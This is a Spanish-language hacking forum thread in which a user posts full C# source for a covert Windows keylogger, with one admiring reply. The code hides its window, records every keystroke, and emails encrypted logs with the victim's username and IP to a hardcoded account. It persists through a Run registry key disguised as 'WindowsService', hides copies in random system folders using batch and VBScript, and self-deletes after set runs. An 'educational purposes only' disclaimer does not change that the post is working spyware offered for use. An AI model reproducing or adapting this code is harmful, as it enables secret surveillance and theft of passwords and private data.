Febrero 24, 2018, 06:06:22 am

Autor Tema: Ultimate Keylogger v2.1 VC#  (Leído 2854 veces)

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado Solid Water

  • Yo vivo en CPH
  • ***
  • Mensajes: 1086
  • Sexo: Masculino
  • Vuelvan Hackers!
    • Ver Perfil
Ultimate Keylogger v2.1 VC#
« en: Enero 02, 2012, 10:51:40 pm »
Hola, este programa empezó cuando encontré el siguiente You are not allowed to view links. Register or Login.
Se me dió por querer agregarle algunas funciones, aunque su núcleo no eh echo más que implementarlo.
Este también tiene algunos bugs menores, creo yo, quizás alguien quiera modificarlo (Y)

Bueno algunas otras fuentes que se consultaron:

You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login
You are not allowed to view links. Register or Login

También nuestro amigo You are not allowed to view links. Register or Login(batista) se sumo al proyecto  :8): (en el source pueden encontrar su labor).

Información:

Trabaja de forma "hide".
Se adjunta al inicio.
Guarda logs y los envía por e-mail.
Se autodestruye a las N veces.

Cambios con la version 2.0:

Se creo la medicina para poder llevar mejor las pruebas testing.
Ahora los logs se encriptan.
Se migraron algunos funciones de batch a c# y vbscript.
Se cambio el cuerpo del mail (ahora envía el IP y nombre de usuario).
Se creo una tool para desencriptar los logs.

Form1:
Código: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.IO;
//agregamos el using para los email:
using System.Net.Mail;


namespace WindowsFormsApplication1
{
    public partial class Form1 : Form
    {
        GlobalKeyboardHook gHook;

             string HomeDrive = Environment.GetEnvironmentVariable("HOMEDRIVE"); //ej: c:\Windows

             string _rutaArchiCfg;
            //Cfg Debe llevar la cuenta de las ejecuciones del programa

             string _rutaElimina;
            //LLegada la ultima vez debe eliminar nuestro programa
            string _rutaOculta;
            //Debe encargarse de copiar y esconder nuestro programa en su primer ejecucion, además adherirlo al registro para que inicie con windows

            string _rutaMiselanio;
            //Debe encargarse de ocultar los archivos de ejecucion por lote
            string _rutaMiselanio2;
            //IDEM, habría que hacer una función.. quizás en la prox versión..

            //Guardara los logs:
            string _rutaLog ;
            string _rutaLog2;
       

        const string _tuEmail = "CuentaE_mitora@DeCorreo.com";
        const string _tuPassword = "Password@De_CuentaEmitora.com";
        const string _emailDestinatario = "Email@_Destinatario.com";

        string[] _ArrayCadena; //lo usare para escribir distintos archivos..
        string Cadena; //Ira escribeindo el log
        int _veces; //contador de veces que se inicio nuestro keylogger..
       
        const int MaximoDeVeces = 8; //veces hasta que se eliminara
        uint _count; //cuenta las pulsaciones de las teclas..


        //public short _aux;
        /*public void VaciarCadena()
        /*Esta función vaciara a array cadena así puedo reutilizarlo*/
       /* {
            for (_aux = 0; _aux < _ArrayCadena.Length; _aux++)
            {
                _ArrayCadena[_aux] = "";
            }
        Al final no tube necesidad de usarlo.
           
        }*/
       
        public void EnviarCorreo() //implementacion de correo.cs
        {
            Correos Cr = new Correos(_tuEmail, _tuPassword); //creo objeto del tipo correo le paso los parametros al constructor
            MailMessage mnsj = new MailMessage(); //objeto proporcionado por .net representa un mensaje de correo

            mnsj.Subject = "Logan"; //título

            mnsj.To.Add(new MailAddress(_emailDestinatario)); //destinatario

            mnsj.From = new MailAddress(_tuEmail, "Un nombre..");

            //Adjuntar algún archivo:                         
            mnsj.Attachments.Add(new Attachment(_rutaLog2));


            string _ip;
            ObtieneIP Obtiene = new ObtieneIP();
            _ip = Obtiene.LocalIPAddress();


            mnsj.Body = "\n\n Ahí te va el logan de " + Environment.GetEnvironmentVariable("USERNAME") + " desde " + _ip + "\n Saludos";

            /* Enviar */
            Cr.MandarCorreo(mnsj);
         }
       
        public Form1()
        {
            InitializeComponent();
        }
           

        private void Form1_Load(object sender, EventArgs e)
        {
           
            _rutaArchiCfg = HomeDrive + "\\ArchivoConfig.txt";
            _rutaLog2 = HomeDrive + "\\Logan2.txt";
            _rutaMiselanio2 = HomeDrive + "\\Oculta2.vbs";
            _rutaLog = HomeDrive + "\\Logan.txt";
            _rutaMiselanio2 = HomeDrive + "\\Oculta2.vbs";
            _rutaMiselanio = HomeDrive + "\\miselanio.vbs";
            _rutaOculta = HomeDrive + "\\Hanlly.bat";
            _rutaElimina = HomeDrive + "\\Elimina.bat";
            _rutaArchiCfg = HomeDrive + "\\ArchivoConfig.txt";

            //ruta 2 es para el email, debe ser una copia de log1, como se va copiando lo voy eliminando y enviando solo las nuevas pulsaciones cada vez..
            if (File.Exists(_rutaLog2))
            {
                File.Delete(_rutaLog2);

            }

            /*Archivo config*/
            if (!File.Exists(_rutaArchiCfg)) //si no existe..
            {
               
                     //lo crea..     

                    using (System.IO.FileStream fs = System.IO.File.Create(_rutaArchiCfg, 1024))
                    {                       

                        byte[] info = new System.Text.UTF8Encoding(true).GetBytes("1");
                     
                        fs.Write(info, 0, info.Length);
                       
                        fs.Close();
                    }
                        string _path = Application.StartupPath; //devuelve el path del ejecutable
                        string _exe = System.IO.Path.GetFileName(Application.ExecutablePath); //devuelve el nombre del ejecutable
                       
                //acá debe crearse el .bat encargado de la creacion del directorio, el copiado y atributos, y la nueva ejecucion:

                /*------------------Codigo Batch Enviado Por @Hanlly:---------------------
                *   setlocal enabledelayedexpansion
                *
                *   ::Origen (ruta del archivo .exe compilado)
                *   set ori=(se envia desde el .exe en c#)
                *
                *   ::Ejecutable (Nombre del archivo .exe compilado)
                *   set eje=(se envia desde el .exe en c#)
                *
                *   ::hacemos una lista de rutas donde se alojaria el keylogger
                *   set r1=%programfiles%\microsoftx32
                *   set r2=%userprofile%\escrytorio
                *   set r3=%appdata%\Microsoft\Windows\logerk
                *   set r4=%Windir%\DklG
                *   set r5=%allusersprofile%
                *   set r6=%homedrive%\Archivos
                *   set c=6
                *
                *   ::se toma las rutas de la variable %path% para aumentar las posibilidades
                *   for /f "tokens=* delims=;" %%a in ("%path%") do (
                *   set /a c+=1
                *   set r!c!=%%a
                *   )
                *
                *   ::se genera numero aleatorio entre 1 y el numero de carpeta (%C%)
                *   set /a ra=%random% %% %c%
                *
                *   ::con le numero aleatorio, tomamos la ruta elegida y se asigna a "dest"
                *   set dest=!r%ra%!
                *
                *   ::Agregamos al registro de WIndows para k inicie automaticamente
                *   reg add "HKLM\SoftWare\Microsoft\Windows\CurrentVersion\run" /v "Ares" /d "%dest%\%eje%" /f
                *
                *   ::Creamos la carpeta de destino (por si no existe)
                *   md "%dest%"
                *
                *   ::copiamos el archivo ejecutable desde la ruta donde este a la carpeta de destino
                *   copy "%ori%\%eje%" "%dest%" /y
                *
                *   ::Aplicamos atributos de oculto y de sistema para hacerlos "invisibles"
                *   attrib +s +h "%dest%\%eje%"
                *
                *   ::Iniciamos el %eje% para k comienze a trabajar ya instalado.
                *   start "%dest%\%eje%"
                *   exit
                *********************************************************************/                   
                       
                        /*Por diversas razones tube que migrar parte del codigo de hanlly a C#*/

                        string _rutaRandom = "asd";
                        int Aleatorio;
                        Random Ran = new Random();
                        Aleatorio = Ran.Next(1, 7); //Rango de números valores posibles de 1-6 (es decir uno menos del pasado como parametro máximo.

                        switch (Aleatorio)
                        {
                            case 1:
                                _rutaRandom = Environment.GetEnvironmentVariable("HOMEDRIVE") + @"\WinForms\microsoft";
                                break;

                            case 2:
                                _rutaRandom = Environment.GetEnvironmentVariable("PROGRAMFILES") + @"\Microsoftx32";
                                break;

                            case 3:
                                _rutaRandom = Environment.GetEnvironmentVariable("appdata") + @"\Microsoft\Windows\DevelopersInt32"; ;
                                break;

                            case 4:
                                _rutaRandom = Environment.GetEnvironmentVariable("userprofile") + @"\Desktop";
                                break;

                            case 5:
                                _rutaRandom = Environment.GetEnvironmentVariable("SYSTEMROOT") + @"\Enviromentx86";
                                break;

                            case 6:
                                _rutaRandom = Environment.GetEnvironmentVariable("WINDIR") + @"\DklG";
                                break;
                        }
                               
                        _ArrayCadena = new string[8];// Le doy el tamaño.
                        //Escribiendo el batch en un string[]

                       
                        _ArrayCadena[0] = "set ori=" + _path + ""; //Ruta del .exe
                        _ArrayCadena[1] = "set eje=" + _exe + ""; //Nombre del .exe
                        _ArrayCadena[2] = "set dest=" + _rutaRandom + "";
                        _ArrayCadena[3] = @"reg add " + '\u0022' + @"HKLM\SoftWare\Microsoft\Windows\CurrentVersion\run" + '\u0022' + " /v " + '\u0022' + "WindowsService" + '\u0022' + " /d " + '\u0022' + "%dest%\\%eje%" + '\u0022' + " /f";
                        _ArrayCadena[4] = "md " + '\u0022' + "%dest%" + '\u0022';
                        _ArrayCadena[5] = "copy " + '\u0022' + "%ori%\\%eje%" + '\u0022' + " " + '\u0022' + "%dest%" + '\u0022' + " /y";
                        _ArrayCadena[6] = "attrib +s +h " + '\u0022' + "%dest%\\%eje%" + '\u0022';
                        _ArrayCadena[7] = "exit";


                       
                       using (System.IO.FileStream file = System.IO.File.Create(_rutaOculta, 1024))
                        {
                            foreach (string line in _ArrayCadena)
                            {
                                 byte[] info = new System.Text.UTF8Encoding(true).GetBytes(line + "\n");
                                 file.Write(info, 0, info.Length);
                               
                            }
                            file.Close();
                        }

                        /*VaciarCadena(); //Vacio _arrayCadena para reutilizarlo*/
                        _ArrayCadena = new string[5];
                        //acá el código de .vbs que ocultara procesos:
                                               
                        _ArrayCadena[0] = "set objshell = createobject(" + '\u0022' + "wscript.shell" + '\u0022' + ")";
                        _ArrayCadena[1] = "WScript.Sleep 3000";
                        _ArrayCadena[2] = "objshell.run " + '\u0022' + "" + _rutaOculta + "" + '\u0022' + ",vbhide";
                        _ArrayCadena[3] = "WScript.Sleep 15000";
                        _ArrayCadena[4] = "objshell.run " + '\u0022' + '\u0022' + '\u0022' + "" + _rutaRandom + "\\" + _exe + "" + '\u0022' + '\u0022' + '\u0022' + ",vbhide";
                         //los vbscript deberían ser una función, tener en cuenta para prox versión
                        //aca se creará el vbs que "ocultará" procesos:

                        using (System.IO.StreamWriter SW2 = new System.IO.StreamWriter(_rutaMiselanio))
                        {
                            foreach (string line in _ArrayCadena)
                            {

                               SW2.WriteLine(line);

                            }
                            SW2.Close();
                        }
                         
                        System.Diagnostics.Process.Start(_rutaMiselanio);
                       /* Ejecuta el vbs, este el .bat y el .bat nuevamente a la aplicación apartir de
                          Aquí ya estamos en fase 2 */
                        Application.Exit(); //se cierra asi mismo para poder ser copiado

                } //termina si existe archicfg           
                else
                {

                    if (File.Exists(_rutaLog))
                        /*lo copio para enviar mail, si no utiliza el mismo archivo
                         al mismo tiempo, debería implementar thread en próximas versiones*/
                    {

                        File.Copy(_rutaLog, _rutaLog2);
                    }


                StreamReader SR = new StreamReader(_rutaArchiCfg);
                //leera el archivo para ver cuantas veces se ah ejecutado el programa.
                _veces = int.Parse(SR.ReadLine());
                SR.Close();
                _veces += 1; //aumentara en 1 el valor del archi
                StreamWriter SW = new StreamWriter(_rutaArchiCfg);
                SW.Write(_veces);
                SW.Close();

                if (_veces > 2)
                {
                    if (File.Exists(_rutaLog))
                    {
                        EnviarCorreo();
                    }
                    /*manda correos apartir de la 3era vez hasta la ultima
                     recordemos que la primera vez se ejecutaba, creaba su copiado
                     a un lugar a salvo y recien volvia a ejecutarse a partir de esta vez el FormLoad() queda mas cargado*/
                                     

                    if (_veces >= MaximoDeVeces)
                    {
                                               
                        //si llego al máximo...

                        if (!File.Exists(_rutaElimina))
                        {
                           
                        //Creara el bat que lo autodestruya si este no existe
                   
                        string _pathExe = Application.ExecutablePath; // Path/ejecutable.extension
                       
                        File.Delete(_rutaArchiCfg);
                        File.Delete(_rutaLog);
                        File.Delete(_rutaMiselanio);
                        File.Delete(_rutaOculta);
                       

                        //Descargarse del inicio:

                        Microsoft.Win32.RegistryKey hklm = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

                        hklm.DeleteValue("WindowsService", false);
           
                         hklm.Close();
                           
                        _ArrayCadena = new string[3];
                        //el bat habría que optmizarlo...
                        _ArrayCadena[0] = "del" + _pathExe; //ruta del .exe este no podría eliminarse desde si mismo..
                        _ArrayCadena[2] = "exit";
                     
                            using (System.IO.StreamWriter SW1 = new System.IO.StreamWriter(_rutaElimina)) //elimina es un .bat
                            {
                                foreach (string line in _ArrayCadena)
                                {

                                    SW1.WriteLine(line);

                                }
                                SW1.Close();
                            }
                        }

                     
                         //VaciarCadena();
                        _ArrayCadena = new string[3];
                        //acá el código de .vbs que ocultara el proceso:  (habría que poner una función y pasarle parámetros seráa mas práctico, quizás para versiones futuras)

                        _ArrayCadena[0] = "set objshell = createobject(" + '\u0022' + "wscript.shell" + '\u0022' + ")";
                        _ArrayCadena[1] = "WScript.Sleep 3000";
                        _ArrayCadena[2] = "objshell.run " + '\u0022' + "" + _rutaElimina + "" + '\u0022' + ",vbhide";

                        //aca se creará el vbs que "ocultará" procesos:

                        using (System.IO.StreamWriter file = new System.IO.StreamWriter(_rutaMiselanio2))
                        {
                            foreach (string line in _ArrayCadena)
                            {

                                file.WriteLine(line);

                            }
                            file.Close();
                        }
                        //ejecutamos el vb que ejecuta al bat q elimina.
                        System.Diagnostics.Process.Start(_rutaMiselanio2); //Oculta es un .vbs
                    } //termina IF máximo veces               
                                       
                    }
                                                                         
            }
                     
            gHook = new GlobalKeyboardHook(); // Create a new GlobalKeyboardHook
            // Declare a KeyDown Event
            gHook.KeyDown += new KeyEventHandler(gHook_KeyDown);
            // Add the keys you want to hook to the HookedKeys list
            foreach (Keys key in Enum.GetValues(typeof(Keys)))
            gHook.HookedKeys.Add(key);                     
            textBox1.ReadOnly = true;

            gHook.hook(); //la funcion hook de GlobalKeyboardHook Habilita el hook
        }

        public void gHook_KeyDown(object sender, KeyEventArgs e)
        {                 

            if (_count % 25 == 0) //se escribieron N pulsaciones? bueno guardemoslas..
            {
                //tendría que tener un método de encriptación el archivo.log.. quizás en otra versión
                StreamWriter EscritorDeFlujo = new StreamWriter(_rutaLog, true); //logs
                Cadena = Encriptador.RijndaelSimple.Encriptar(textBox1.Text) + "\n\n"; //cada linea de encriptacion se da por separado, para luego desencriptarlo del mismo modo
                EscritorDeFlujo.Write(Cadena);
                EscritorDeFlujo.Close();
                textBox1.Text = "";

            }
            else if(_count == 65535)
            {
                _count = 0; //si llegó al máximo de valores que puede contener se reinicia
            }
                       
            textBox1.Text += ((char)e.KeyValue).ToString(); //agrega la tecla pulsada al textbox

            _count++; //aumenta el número de pulsaciones que hubo
        }
   
       private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            //gHook.unhook();
        }
       
        public void Hook()
        {
            //Nueva función: si ya existe el archivo log activa hook else lo crea y vuelve a llamarse.
            if (File.Exists(_rutaLog))
            {
                gHook.hook();
            }
            else
            {
                using (System.IO.FileStream fs = System.IO.File.Create(_rutaLog, 1024))
                {
                    fs.Close();
                }
                //acá se tiene que crear el file
                Hook();
            }
                       
        }
       
        }
     
}

Form1.designer.cs
Código: (csharp) You are not allowed to view links. Register or Login
namespace WindowsFormsApplication1
{
    partial class Form1
    {
        /// <summary>
        /// Required designer variable.
        /// </summary>
        private System.ComponentModel.IContainer components = null;

        /// <summary>
        /// Clean up any resources being used.
        /// </summary>
        /// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
        protected override void Dispose(bool disposing)
        {
            if (disposing && (components != null))
            {
                components.Dispose();
            }
            base.Dispose(disposing);
        }

        #region Windows Form Designer generated code

        /// <summary>
        /// Required method for Designer support - do not modify
        /// the contents of this method with the code editor.
        /// </summary>
        private void InitializeComponent()
        {
            this.textBox1 = new System.Windows.Forms.TextBox();
            this.SuspendLayout();
            //
            // textBox1
            //
            this.textBox1.Location = new System.Drawing.Point(12, 50);
            this.textBox1.MaxLength = 40;
            this.textBox1.Name = "textBox1";
            this.textBox1.Size = new System.Drawing.Size(392, 20);
            this.textBox1.TabIndex = 2;
            //
            // Form1
            //
            this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
            this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
            this.BackColor = System.Drawing.SystemColors.Desktop;
            this.ClientSize = new System.Drawing.Size(436, 108);
            this.Controls.Add(this.textBox1);
            this.MaximizeBox = false;
            this.Name = "Form1";
            this.Opacity = 0D;
            this.ShowIcon = false;
            this.ShowInTaskbar = false;
            this.Text = "Aprendiendo";
            this.FormClosing += new System.Windows.Forms.FormClosingEventHandler(this.Form1_FormClosing);
            this.Load += new System.EventHandler(this.Form1_Load);
            this.ResumeLayout(false);
            this.PerformLayout();

        }

        #endregion

        private System.Windows.Forms.TextBox textBox1;
    }
}

Correo.cs
Código: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Net.Mail;

namespace WindowsFormsApplication1
{
    class Correos
    {
             
        /*
         * Cliente SMTP
             * Gmail:  smtp.gmail.com  puerto:587
         * Hotmail: smtp.live.com  puerto:25
         */
        SmtpClient server = new SmtpClient("smtp.live.com", 25);

        public Correos(string direccion, string pw)
        {
            /*
             * Autenticacion en el Servidor
             * Utilizaremos nuestra cuenta de correo
           
             * Direccion de Correo (Gmail o Hotmail)
             * y Contrasena correspondiente
             */

            server.Credentials = new System.Net.NetworkCredential(direccion, pw);
                //serán tu direccion y pass ya asignadas en form1
              server.EnableSsl = true;
        }

        public void MandarCorreo(MailMessage mensaje)
        {
            server.Send(mensaje);
        }
    }
}

Medicina
Código: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleApplication1
{
    class Medicina
    {
        static void Main(string[] args)
        {
            string HomeDrive = Environment.GetEnvironmentVariable("HOMEDRIVE"); //ej: c:\Windows

            string _rutaArchiCfg = HomeDrive + "\\ArchivoConfig.txt";
            //Cfg Debe llevar la cuenta de las ejecuciones del programa
            string _rutaElimina = HomeDrive + "\\Elimina.bat";
            //LLegada la ultima vez debe eliminar nuestro programa
            string _rutaOculta = HomeDrive + "\\Hanlly.bat";
            //Debe encargarse de copiar y esconder nuestro programa en su primer ejecucion, además adherirlo al registro para que inicie con windows
            string _rutaMiselanio = HomeDrive + "\\miselanio.vbs";
            //Debe encargarse de ocultar los archivos de ejecucion por lote
            string _rutaMiselanio2 = HomeDrive + "\\Oculta2.vbs";
            //IDEM, habría que hacer una función.. quizás en la prox versión..
            //Guardara los logs:
            string _rutaLog = HomeDrive + "\\Logan.txt";
            string _rutaLog2 = HomeDrive + "\\Logan2.txt";

            EliminaArchi del = new EliminaArchi();

            del.eliminar(_rutaArchiCfg);
            del.eliminar(_rutaElimina);
            del.eliminar(_rutaLog);
            del.eliminar(_rutaLog2);
            del.eliminar(_rutaMiselanio);
            del.eliminar(_rutaMiselanio2);
            del.eliminar(_rutaOculta);

            Microsoft.Win32.RegistryKey hklm = Microsoft.Win32.Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true);

            hklm.DeleteValue("WindowsService", false);

            hklm.Close();


            string _userprofile = Environment.GetEnvironmentVariable("userprofile");
            string _programfiles = Environment.GetEnvironmentVariable("programfiles");
            string _appdata = Environment.GetEnvironmentVariable("appdata");
            string _Windir = Environment.GetEnvironmentVariable("Windir");
            string _SYSTEMROOT = Environment.GetEnvironmentVariable("SYSTEMROOT");
            string _homedrive = Environment.GetEnvironmentVariable("homedrive");

            string[] _rutas = new string[5];

            _rutas[0] = _userprofile + "\\Desktop";
            _rutas[1] = _programfiles + "\\Microsoftx32";         
            _rutas[2] = _appdata + "\\Microsoft\\Windows\\DevelopersInt32";
            _rutas[3] = _Windir + "\\DklG";
            _rutas[4] = _SYSTEMROOT + "\\Enviromentx86";
            _rutas[5] = _homedrive + "\\WinForms\\microsoft";

            foreach (string s in _rutas)
            {
                del.eliminar(s);
            }
                                   
        }
    }
}

Elimina.cs:
Código: (csharp) You are not allowed to view links. Register or Login
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;

namespace ConsoleApplication1
{
    class EliminaArchi
    {
   
        public void eliminar(string _archi)
        {
            if (System.IO.File.Exists(_archi))
            {
                System.IO.File.Delete(_archi);
            }
        }
    }
}
Bueno lo demás NO lo voy a postear si quieren bajense las soluciones de:

You are not allowed to view links. Register or Login

Citar
Using this keylogger to log/record other people’s keystrokes without their knowledge can be considered as an illegal activity!
It is the final user’s responsibility to obey all applicable local,state,and federal laws!
This tutorial is intended for educational purpose only!
I assume NO liability and I’m NOT responsible for any misuse or damage caused by this keylogger!

Saludos.
« Última modificación: Junio 24, 2012, 02:27:56 am por گӨ£ĭÐ ﮖŋąќЭ »

Not for the money, not for the fame. Not for the power, just no more games.

Desconectado .:.IlcOn14.:.

  • Yo vivo en CPH
  • ***
  • Mensajes: 1146
  • Sexo: Masculino
  • Simplemente Pro
    • Ver Perfil
Re:Ultimate Keylogger v2 VC#
« Respuesta #1 en: Enero 03, 2012, 02:30:29 am »
Muy bueno Solid! :D
Fuck Youuuuuuuuu (8)(8)


xx
DarkComet-RAT 2.0 Ultimate

Iniciado por sn0x.

3 Respuestas
1623 Vistas
Último mensaje Noviembre 16, 2010, 06:07:00 am
por usuaria_101
xx
Windows 7 Ultimate ISO

Iniciado por adthz

1 Respuestas
819 Vistas
Último mensaje Febrero 28, 2012, 09:00:59 pm
por ronmauricio
xx
windows 7 ultimate

Iniciado por marroco

6 Respuestas
2021 Vistas
Último mensaje Julio 18, 2010, 01:05:53 pm
por Sthefano02
exclamation
Ultimate ZIP Cracker v6.3

Iniciado por Relieve

0 Respuestas
1273 Vistas
Último mensaje Enero 02, 2011, 08:39:42 pm
por Relieve
question
windows rc ultimate

Iniciado por pacoracing1

1 Respuestas
967 Vistas
Último mensaje Julio 16, 2009, 01:32:48 pm
por pacoracing1
xx
xp titan ultimate

Iniciado por CodeSource

0 Respuestas
916 Vistas
Último mensaje Marzo 26, 2012, 12:40:22 pm
por CodeSource
xx
eee pc 901 con Vista ultimate

Iniciado por kuxkyto

20 Respuestas
5379 Vistas
Último mensaje Julio 29, 2008, 11:40:43 pm
por berni69
exclamation
Ultimate Stealer V1.0

Iniciado por LittleUbis

6 Respuestas
3917 Vistas
Último mensaje Julio 15, 2010, 01:38:19 pm
por marck2009
xx
ubuntu ultimate!!

Iniciado por diablo18

2 Respuestas
774 Vistas
Último mensaje Octubre 22, 2007, 12:33:42 pm
por diablo18
question
windows vista ultimate

Iniciado por el@vivo

3 Respuestas
1187 Vistas
Último mensaje Junio 06, 2010, 08:47:08 pm
por zickz7